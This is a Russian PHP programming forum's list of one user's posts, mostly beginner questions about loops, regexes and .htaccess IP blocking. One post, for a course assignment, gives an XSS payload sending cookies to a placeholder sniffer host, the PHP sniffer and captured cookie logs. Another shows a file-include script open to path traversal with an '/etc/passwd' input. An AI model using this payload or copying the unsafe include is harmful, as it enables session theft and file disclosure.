PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи

Страниц (5): [1] 2 3 4 5 »

> Найдено сообщений: 71
valkiriy Отправлено: 07 Января, 2015 - 23:14:01 • Тема: time limit? • Форум: Вопросы по Perl/Python/.NET

Ответов: 2
Просмотров: 2483
Цыкл парсит лог с пакет фильтра и по заданным правилам пишет в файл ip...
valkiriy Отправлено: 07 Января, 2015 - 21:16:58 • Тема: time limit? • Форум: Вопросы по Perl/Python/.NET

Ответов: 2
Просмотров: 2483
Имеется скрипт pars.pl который выполняется из терминала freebsd... Суть в том что в скрипте имеется бесконечный цикл... Дело в том что этот скрипт виснет или останавливается (пока это не отслеживал)... Решил проверить работу и написал вывод шагов цикла на экран (1, 2, 3... И т.д.)... После 30 шага терминал молчит... Пришёл к выводу, что стоит лимит на выполнения скриптов... Поискал-поискал и зашёл в тупик... Подскажите в чем трабл?
valkiriy Отправлено: 09 Декабря, 2013 - 00:34:27 • Тема: автоблокировка ip в htaccess • Форум: Вопросы новичков

Ответов: 3
Просмотров: 231
Оу благодарю)))) ну я легких путей не ищу)
valkiriy Отправлено: 08 Декабря, 2013 - 23:58:47 • Тема: автоблокировка ip в htaccess • Форум: Вопросы новичков

Ответов: 3
Просмотров: 231
Доброй ночи,

имеется файрволл на php который ведет логи:
CODE (htmlphp):
скопировать код в буфер обмена
  1.  
  2. 8-12-2013 23:44:26 | Bots attack | IP: 176.106.208.4 ] | DNS: 176-106-208-4.point.lviv.ua | Agent: Mozilla/2.0 (compatible; MSIE 3.02; Update a; AK; Windows NT) | URL: / | Referer: 5853bm203s.ru
  3.  

но файрволл достаточно слабый и хостинг замораживает аккаунт во избежания нагрузки.
решил перехитрить написанием скрипта который будет автоматом читать логи и вносить ip с опр флагами в htaccess на блокировку:
PHP:
скопировать код в буфер обмена
  1.  
  2. <?PHP
  3. $log = file("logs.txt");
  4. for($i = 0; $i < count($log); $i++)
  5. {
  6. if(preg_match('|'.preg_quote('Bots attack | IP: ', '/').'(.*?)'.preg_quote(' ', '/').'|is', $log[$i], $atkstr))
  7. {
  8. $atkstrout = preg_replace("/Bots attack \| IP: /i","",$atkstr[0]);
  9. $atkstrout = preg_replace("/ /i","",$atkstrout);
  10. $file = file(".htaccess");
  11. $num_stroka = count($file);
  12. $num_stroka = $num_stroka-1;
  13. unset($file[$num_stroka]);
  14. $num_stroka = $num_stroka-1;
  15. unset($file[$num_stroka]);
  16. $fp = fopen(".htaccess", "w");
  17. $endfile="".implode("", $file)." deny from ".$atkstrout."\n allow from all\n</Limit>";
  18. fputs($fp, $endfile);
  19. fclose($fp);
  20. }
  21. }
  22. ?>

и тут встала задача сравнить есть ли в .htaccess ip в черном листе или нет
PHP:
скопировать код в буфер обмена
  1.  
  2. <?PHP
  3. $file = file(".htaccess");
  4. $BlackList = array();
  5. for($x = 0; $x < count($file); $x++)
  6. {
  7. if(preg_match('|deny from (.*?)\n deny from|is', $file[$x], $ipblock))
  8. {
  9. $ipblockout = preg_replace("/deny from /i","",$ipblock[0]);
  10. $ipblockout = preg_replace("/ \n deny from/i","",$ipblockout);
  11. array_push($BlackList, $ipblockout);
  12. }
  13. }
  14. }
  15. in_array($atkstrout, $BlackList);
  16. ?>
  17.  

пытаюсь парсить .htaccess а он не парсится.... не пойму почему и без этого не могу сделать проверку...
конечный скрипт по моим замыслам должен был иметь такой вид:
PHP:
скопировать код в буфер обмена
  1.  
  2. <?PHP
  3. $log = file("logs.txt");
  4. $BlackList = array();
  5. for($i = 0; $i < count($log); $i++)
  6. {
  7. if(preg_match('|'.preg_quote('Bots attack | IP: ', '/').'(.*?)'.preg_quote(' ', '/').'|is', $log[$i], $atkstr))
  8. {
  9. $atkstrout = preg_replace("/Bots attack \| IP: /i","",$atkstr[0]);
  10. $atkstrout = preg_replace("/ /i","",$atkstrout);
  11. $file = file(".htaccess");
  12. for($x = 0; $x < count($file); $x++)
  13. {
  14. if(preg_match('|deny from (.*?)\n deny from|is', $file[$x], $ipblock))
  15. {
  16. $ipblockout = preg_replace("/deny from /i","",$ipblock[0]);
  17. $ipblockout = preg_replace("/ \n deny from/i","",$ipblockout);
  18. array_push($BlackList, $ipblockout);
  19. }
  20. }
  21. }
  22. if(!in_array($atkstrout, $BlackList))
  23. {
  24. $num_stroka = count($file);
  25. $num_stroka = $num_stroka-1;
  26. unset($file[$num_stroka]);
  27. $num_stroka = $num_stroka-1;
  28. unset($file[$num_stroka]);
  29. $fp = fopen(".htaccess", "w");
  30. $endfile="".implode("", $file)." deny from ".$atkstrout."\n allow from all\n</Limit>";
  31. fputs($fp, $endfile);
  32. fclose($fp);
  33. }
  34. }
  35. }
  36. ?>

(Добавление)
нашел ошибку в регулярке и
PHP:
скопировать код в буфер обмена
  1. preg_match('|deny from (.*?)\n deny from|is', $file[$x], $ipblock)

поменял на
PHP:
скопировать код в буфер обмена
  1. preg_match('|deny from (.*)|is', $file[$x], $ipblock)
valkiriy Отправлено: 30 Ноября, 2013 - 20:01:49 • Тема: из js в php • Форум: Вопросы новичков

Ответов: 2
Просмотров: 174
Добрый вечер,
есть скрипт на js:
CODE (javascript):
скопировать код в буфер обмена
  1. var arr = { };
  2.         if (data && data != '') {
  3.                 var split = data.split(';');
  4.                 for (var i = 0; i < split.length; i++) {
  5.                         var name_value = split[i].split("=");
  6.                         name_value[0] = name_value[0].replace(/^ /, '');
  7.                         arr[decodeURIComponent(name_value[0])] = decodeURIComponent(name_value[1]);
  8.                 }
  9.         }


есть возможность написать такое на php?
valkiriy Отправлено: 24 Ноября, 2013 - 01:50:31 • Тема: координаты на изображении • Форум: Вопросы новичков

Ответов: 7
Просмотров: 399
LIME пишет:
пишу с телефона потому возможно не в тему

полезно но не по теме
valkiriy Отправлено: 22 Ноября, 2013 - 21:27:54 • Тема: координаты на изображении • Форум: Вопросы новичков

Ответов: 7
Просмотров: 399
что если высчитывать процентное соотношение размер карты/позиция пользователя и с помощью позиционирования элемента в процентах и цикла вывода записей из бд отмечать пользователя на карте?
valkiriy Отправлено: 22 Ноября, 2013 - 11:28:40 • Тема: координаты на изображении • Форум: Вопросы новичков

Ответов: 7
Просмотров: 399
или такое возможно реализовать без js?
valkiriy Отправлено: 20 Ноября, 2013 - 23:45:26 • Тема: координаты на изображении • Форум: Вопросы новичков

Ответов: 7
Просмотров: 399
исправил ссылку
суть в том что есть несколько карт у которых разные максимальные координаты (размеры) которые хранятся в бд
В приложении на питоне у каждого пользователя координаты его местоположения отправляются в базу
на примере по ссылке можно увидеть одну голубую точку в левом нижнем углу картинки...
таким образом я хочу вывести всех пользователей находящихся на той или иной карте...
как это сделать я не знаю так как в js даже еще не вникал но такую фитчу себе на ресурс хочется
valkiriy Отправлено: 20 Ноября, 2013 - 22:50:07 • Тема: координаты на изображении • Форум: Вопросы новичков

Ответов: 7
Просмотров: 399
С помощью чего можно реализовать такую штуку http://метин[dot]рф/земля_громил
valkiriy Отправлено: 18 Ноября, 2013 - 12:19:02 • Тема: For повторное прохождение цикла при неудачи • Форум: Вопросы новичков

Ответов: 1
Просмотров: 166
Есть цикл
PHP:
скопировать код в буфер обмена
  1. for($x=$num_rows[0]; $x<999999; $x++)
  2. {
  3. $sock=fopen($host, 'r');
  4. .....
  5. .....
  6. .....
  7. }

где $num_rows[0] наибольшее значение из бд
соответственно при каждом прохождении цикла оно увеличивается
но вот вопрос если функция например:

не смогла подключится как заставить цикл снова прогнать этот этап без увеличения числа
есть вариант:
PHP:
скопировать код в буфер обмена
  1.  
  2. for($x=$num_rows[0]; $x<999999; $x_tf)
  3. {
  4. $sock=fopen($host, 'r');
  5. $x_tf=if($sock)$x++;
  6. }

Правильно ли я мыслю?
valkiriy Отправлено: 16 Ноября, 2013 - 23:24:35 • Тема: бесконечный цикл • Форум: Вопросы новичков

Ответов: 2
Просмотров: 231
Если открыть страницу с бесконечным циклом, он будет выполнятся после закрытия или же придется задействовать крон
(Добавление)
только что вспомнил что бесконечные циклы выполняются 30 секунд, соответственно к циклам с условием это не относится? и соответственно они не будут выполнятся при закрытии страницы?
valkiriy Отправлено: 13 Ноября, 2013 - 11:56:31 • Тема: Вопрос по регуляркам в preg_match(); • Форум: Вопросы новичков

Ответов: 3
Просмотров: 184
Добрый день php.su,

Хочу вытащить тект заключенный между тегами <td class="postFirst"> и <td class="postRest2">
пишу седушее:
PHP:
скопировать код в буфер обмена
  1. preg_match('|(.*)<td class=\"postFirst\">(.*)<td class=\"postRest2\">|is', $html, $data)

но как я понял вырезается текст не единожды, а по первому и последнему тегу...
как решить данную проблему и чем конструкция отличается от следующей:
PHP:
скопировать код в буфер обмена
  1. preg_match('|<td class=\"postFirst\">(.*)<td class=\"postRest2\">|sei', $html, $data)
valkiriy Отправлено: 10 Ноября, 2013 - 18:07:37 • Тема: cookie в json • Форум: Вопросы новичков

Ответов: 1
Просмотров: 212
на курсах преподаватель поднял вопрос о web-технологиях и их защите
и соответственно задал С/Р в 2 вариантах:

  1. Найти и использовать уязвимость
  2. Предложить свой метод решения проблемы

Ну и как известно ломать и т.д. все горазды...
не долго думая на паре намалевал xss и скрипт сниффера (что-то типа этого):
CODE (javascript):
скопировать код в буфер обмена
  1.  
  2. <script language="javascript">
  3. var img=new Image();
  4. img.src="http://(адрес сниффера).dom/?c=" + (функция аля куки) + "&ip=" + (функция аля IP) + "&h=" + (функция аля хост);
  5. </script>
  6.  

ну и сниффер:
PHP:
скопировать код в буфер обмена
  1. <?
  2. if($_SERVER['QUERY_STRING'] == TRUE)
  3. {
  4. $q=$_SERVER['QUERY_STRING'];
  5. parse_str($q, $out);
  6. $fp=fopen("cookie.log","a");
  7. fputs($fp,"Host: ".$out['h']."\nIP: ".$out['ip']."\nCookie: "$out['c']"\n\n");
  8. fclose($fp);
  9. }
  10. if(file_exists("cookie.log"))
  11. {
  12. readfile("cookie.log");
  13. }
  14. ?>

ну и полученные логи:
CODE (htmlphp):
скопировать код в буфер обмена
  1.  
  2. Host: http://****
  3. IP: 78.****.14
  4. Cookie:
  5. ****uzfss=lt=1384086559,pst=1383988327;****f0=dUQZfH9ShUITfH9SZEQUfH9SdUQffH9S;****uzll=1384086034;ucvid=DH6c746mkE;__utma=115884185.109802954.1374751004.1383988157.1384086371.68;__utmz=115884185.1374836945.2.2.utmcsr=vk.com|utmccn=(referral)|utmcmd=referral|utmcct=/im;****uispm=1384079619-0;****uCoz=4drSCZz8uEJnUsIu;__utmb=115884185.6.10.1384086371;__utmc=115884185

Хотел как лучше, а получилось как всегда...
препод в нагрузку заставил привести куки в более практичный вид...
сначала хотел использовать XML, но погуглив решил что json будет более удачный вариант, но разбить строку с куками получается проблематично, а именно пугает то что в значениях имеется символ "=" и ибо не наступать на грабли несколько раз - решил проконсультироватся тут
valkiriy Отправлено: 10 Ноября, 2013 - 13:43:16 • Тема: index.php?s=../../../../../../../../../etc/passwd • Форум: Вопросы новичков

Ответов: 2
Просмотров: 212
Добрый день PHP.su,
имеется скрипт вывода контента при изменении переменной $_GET['s']
PHP:
скопировать код в буфер обмена
  1. <?PHP
  2.        
  3.           if(isset($_GET['s']) && !empty($_GET['s']))
  4.           {
  5.             if(file_exists("./pages/".$_GET['s'].".php"))
  6.             {
  7.               include("./pages/".$_GET['s'].".php");
  8.             }
  9.             else {
  10.               include("./pages/home.php");
  11.             }
  12.           } else
  13.           {
  14.             include("./pages/home.php");
  15.           }
  16.        
  17. ?>


суть в том что одни не очень хорошие школьники воспользовались xss и получили данные которые не должны были получить и очень серьезно нанесли ущерб одному проекту... если кто знает как исправить?
CODE (html):
скопировать код в буфер обмена
  1. index.php?s=../../../../../../../../../etc/passwd

Страниц (5): [1] 2 3 4 5 »
Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB